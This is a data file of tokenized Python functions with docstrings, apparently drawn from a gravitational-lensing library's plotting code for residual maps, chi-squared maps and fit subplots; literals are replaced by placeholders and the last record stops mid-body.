{"signature": "def plot_model_image_of_planes(<EOL>fit, plot_foreground=False, plot_source=False, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>positions=None, plot_mass_profile_centres=True, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "centres = get_mass_profile_centes(plot_mass_profile_centres=plot_mass_profile_centres, fit=fit)<EOL>if plot_foreground:<EOL><INDENT>if fit.tracer.total_planes == <NUM_LIT:2>:<EOL><INDENT>model_image = fit.model_image_of_planes[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>model_image = sum(fit.model_image_of_planes[<NUM_LIT:0>:-<NUM_LIT:2>])<EOL><DEDENT><DEDENT>elif plot_source:<EOL><INDENT>model_image = fit.model_image_of_planes[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>')<EOL><DEDENT>array_plotters.plot_array(<EOL>array=model_image, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, centres=centres, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the model image of a specific plane of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractFitter\n        The fit to the datas, which includes a list of every model image, residual_map, chi-squareds, etc.\n    plane_indexes : [int]\n        The plane from which the model image is generated.", "id": "f5975:m5"}
{"signature": "def plot_residual_map(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "array_plotters.plot_array(<EOL>array=fit.residual_map, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the residual-map of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractFitter\n        The fit to the datas, which includes a list of every model image, residual_map, chi-squareds, etc.\n    image_index : int\n        The index of the datas in the datas-set of which the residual_map are plotted.", "id": "f5975:m6"}
{"signature": "def plot_chi_squared_map(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "array_plotters.plot_array(<EOL>array=fit.chi_squared_map, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the chi-squared map of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractFitter\n        The fit to the datas, which includes a list of every model image, residual_map, chi-squareds, etc.\n    image_index : int\n        The index of the datas in the datas-set of which the chi-squareds are plotted.", "id": "f5975:m7"}
{"signature": "def plot_contribution_maps(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "if len(fit.contribution_maps) > <NUM_LIT:1>:<EOL><INDENT>contribution_map = sum(fit.contribution_maps)<EOL><DEDENT>else:<EOL><INDENT>contribution_map = fit.contribution_maps[<NUM_LIT:0>]<EOL><DEDENT>array_plotters.plot_array(<EOL>array=contribution_map, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the summed contribution maps of a hyper-fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractLensHyperFit\n        The hyper-fit to the datas, which includes a list of every model image, residual_map, chi-squareds, etc.\n    image_index : int\n        The index of the datas in the datas-set of which the contribution_maps are plotted.", "id": "f5975:m8"}
{"signature": "def get_mask(fit, should_plot_mask):", "body": "if should_plot_mask:<EOL><INDENT>return fit.mask<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the masks of the fit if the masks should be plotted on the fit.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractLensHyperFit\n        The fit to the datas, which includes a lisrt of every model image, residual_map, chi-squareds, etc.\n    should_plot_mask : bool\n        If *True*, the masks is plotted on the fit's datas.", "id": "f5975:m10"}
{"signature": "def plot_fit_subplot_lens_plane_only(<EOL>fit, should_plot_mask=True, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>should_plot_image_plane_pix=False,<EOL>units='<STR_LIT>', figsize=None, aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>titlesize=<NUM_LIT:10>, xlabelsize=<NUM_LIT:10>, ylabelsize=<NUM_LIT:10>, xyticksize=<NUM_LIT:10>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_filename='<STR_LIT>', output_format='<STR_LIT>'):", "body": "rows, columns, figsize_tool = plotter_util.get_subplot_rows_columns_figsize(number_subplots=<NUM_LIT:6>)<EOL>mask = lens_plotter_util.get_mask(fit=fit, should_plot_mask=should_plot_mask)<EOL>if figsize is None:<EOL><INDENT>figsize = figsize_tool<EOL><DEDENT>plt.figure(figsize=figsize)<EOL>plt.subplot(rows, columns, <NUM_LIT:1>)<EOL>kpc_per_arcsec = fit.tracer.image_plane.kpc_per_arcsec<EOL>image_plane_pix_grid = lens_plotter_util.get_image_plane_pix_grid(should_plot_image_plane_pix, fit)<EOL>lens_plotter_util.plot_image(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>positions=positions, image_plane_pix_grid=image_plane_pix_grid, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>grid_pointsize=grid_pointsize, position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:2>)<EOL>lens_plotter_util.plot_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>positions=positions, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:3>)<EOL>lens_plotter_util.plot_signal_to_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>positions=positions, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:4>)<EOL>lens_plotter_util.plot_model_data(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:5>)<EOL>lens_plotter_util.plot_residual_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:6>)<EOL>lens_plotter_util.plot_chi_squared_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plotter_util.output_subplot_array(output_path=output_path, output_filename=output_filename,<EOL>output_format=output_format)<EOL>plt.close()<EOL>", "docstring": "Plot the model datas_ of an analysis, using the *Fitter* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    fit : autolens.lens.fitting.Fitter\n        Class containing fit between the model datas_ and observed lens datas_ (including residual_map, chi_squared_map etc.)\n    output_path : str\n        The path where the datas_ is output if the output_type is a file format (e.g. png, fits)\n    output_filename : str\n        The name of the file that is output, if the output_type is a file format (e.g. png, fits)\n    output_format : str\n        How the datas_ is output. File formats (e.g. png, fits) output the datas_ to harddisk. 'show' displays the datas_ \\\n        in the python interpreter window.", "id": "f5976:m1"}
{"signature": "def plot_fit_subplot_lens_and_source_planes(<EOL>fit, should_plot_mask=True, extract_array_from_mask=False, zoom_around_mask=False,<EOL>should_plot_source_grid=False, positions=None, should_plot_image_plane_pix=False, plot_mass_profile_centres=True,<EOL>units='<STR_LIT>', figsize=None, aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>titlesize=<NUM_LIT:10>, xlabelsize=<NUM_LIT:10>, ylabelsize=<NUM_LIT:10>, xyticksize=<NUM_LIT:10>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_filename='<STR_LIT>', output_format='<STR_LIT>'):", "body": "rows, columns, figsize_tool = plotter_util.get_subplot_rows_columns_figsize(number_subplots=<NUM_LIT:9>)<EOL>mask = lens_plotter_util.get_mask(fit=fit, should_plot_mask=should_plot_mask)<EOL>if figsize is None:<EOL><INDENT>figsize = figsize_tool<EOL><DEDENT>plt.figure(figsize=figsize)<EOL>kpc_per_arcsec = fit.tracer.image_plane.kpc_per_arcsec<EOL>image_plane_pix_grid = lens_plotter_util.get_image_plane_pix_grid(should_plot_image_plane_pix, fit)<EOL>plt.subplot(rows, columns, <NUM_LIT:1>)<EOL>lens_plotter_util.plot_image(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, positions=positions,<EOL>image_plane_pix_grid=image_plane_pix_grid, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>grid_pointsize=grid_pointsize, position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:2>)<EOL>lens_plotter_util.plot_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, positions=None, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:3>)<EOL>lens_plotter_util.plot_signal_to_noise_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, positions=None, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>position_pointsize=position_pointsize, mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:4>)<EOL>lens_plotter_util.plot_lens_subtracted_image(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title='<STR_LIT>', titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize,<EOL>position_pointsize=position_pointsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>if fit.tracer.image_plane.has_light_profile:<EOL><INDENT>plt.subplot(rows, columns, <NUM_LIT:5>)<EOL>lens_plotter_util.plot_model_image_of_planes(<EOL>fit=fit, plot_foreground=True, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, plot_mass_profile_centres=plot_mass_profile_centres, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title='<STR_LIT>', titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize,<EOL>xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>plt.subplot(rows, columns, <NUM_LIT:6>)<EOL>lens_plotter_util.plot_model_image_of_planes(<EOL>fit=fit, plot_source=True, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, plot_mass_profile_centres=plot_mass_profile_centres, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title='<STR_LIT>', titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize,<EOL>xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>if fit.total_inversions == <NUM_LIT:0>:<EOL><INDENT>plt.subplot(rows, columns, <NUM_LIT:7>)<EOL>plane_plotters.plot_plane_image(<EOL>plane=fit.tracer.source_plane, positions=None, plot_grid=should_plot_source_grid, as_subplot=True,<EOL>units=units, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>grid_pointsize=grid_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL><DEDENT>elif fit.total_inversions == <NUM_LIT:1>:<EOL><INDENT>ratio = float((fit.inversion.mapper.geometry.arc_second_maxima[<NUM_LIT:1>] - fit.inversion.mapper.geometry.arc_second_minima[<NUM_LIT:1>]) /(fit.inversion.mapper.geometry.arc_second_maxima[<NUM_LIT:0>] - fit.inversion.mapper.geometry.arc_second_minima[<NUM_LIT:0>]))<EOL>if aspect is '<STR_LIT>':<EOL><INDENT>aspect_inv = ratio<EOL><DEDENT>elif aspect is '<STR_LIT>':<EOL><INDENT>aspect_inv = <NUM_LIT:1.0> / ratio<EOL><DEDENT>elif aspect is '<STR_LIT>':<EOL><INDENT>aspect_inv = <NUM_LIT:1.0><EOL><DEDENT>plt.subplot(rows, columns, <NUM_LIT:7>, aspect=float(aspect_inv))<EOL>inversion_plotters.plot_reconstructed_pixelization(<EOL>inversion=fit.inversion, positions=None, should_plot_grid=False, should_plot_centres=False, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=None,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename=None, output_format=output_format)<EOL><DEDENT>plt.subplot(rows, columns, <NUM_LIT:8>)<EOL>lens_plotter_util.plot_residual_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:9>)<EOL>lens_plotter_util.plot_chi_squared_map(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_filename='<STR_LIT>', output_format=output_format)<EOL>plotter_util.output_subplot_array(output_path=output_path, output_filename=output_filename,<EOL>output_format=output_format)<EOL>plt.close()<EOL>", "docstring": "Plot the model datas_ of an analysis, using the *Fitter* class object.\n\n    The visualization and output type can be fully customized.\n\n    Parameters\n    -----------\n    fit : autolens.lens.fitting.Fitter\n        Class containing fit between the model datas_ and observed lens datas_ (including residual_map, chi_squared_map etc.)\n    output_path : str\n        The path where the datas_ is output if the output_type is a file format (e.g. png, fits)\n    output_filename : str\n        The name of the file that is output, if the output_type is a file format (e.g. png, fits)\n    output_format : str\n        How the datas_ is output. File formats (e.g. png, fits) output the datas_ to harddisk. 'show' displays the datas_ \\\n        in the python interpreter window.", "id": "f5976:m2"}
{"signature": "def plot_fit_individuals_lens_plane_only(<EOL>fit, should_plot_mask=True, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>should_plot_image_plane_pix=False,<EOL>should_plot_image=False,<EOL>should_plot_noise_map=False,<EOL>should_plot_signal_to_noise_map=False,<EOL>should_plot_model_image=False,<EOL>should_plot_residual_map=False,<EOL>should_plot_chi_squared_map=False,<EOL>units='<STR_LIT>',<EOL>output_path=None, output_format='<STR_LIT>'):", "body": "mask = lens_plotter_util.get_mask(fit=fit, should_plot_mask=should_plot_mask)<EOL>kpc_per_arcsec = fit.tracer.image_plane.kpc_per_arcsec<EOL>if should_plot_image:<EOL><INDENT>image_plane_pix_grid = lens_plotter_util.get_image_plane_pix_grid(should_plot_image_plane_pix, fit)<EOL>lens_plotter_util.plot_image(<EOL>fit=fit, mask=mask, extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask,<EOL>image_plane_pix_grid=image_plane_pix_grid,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if 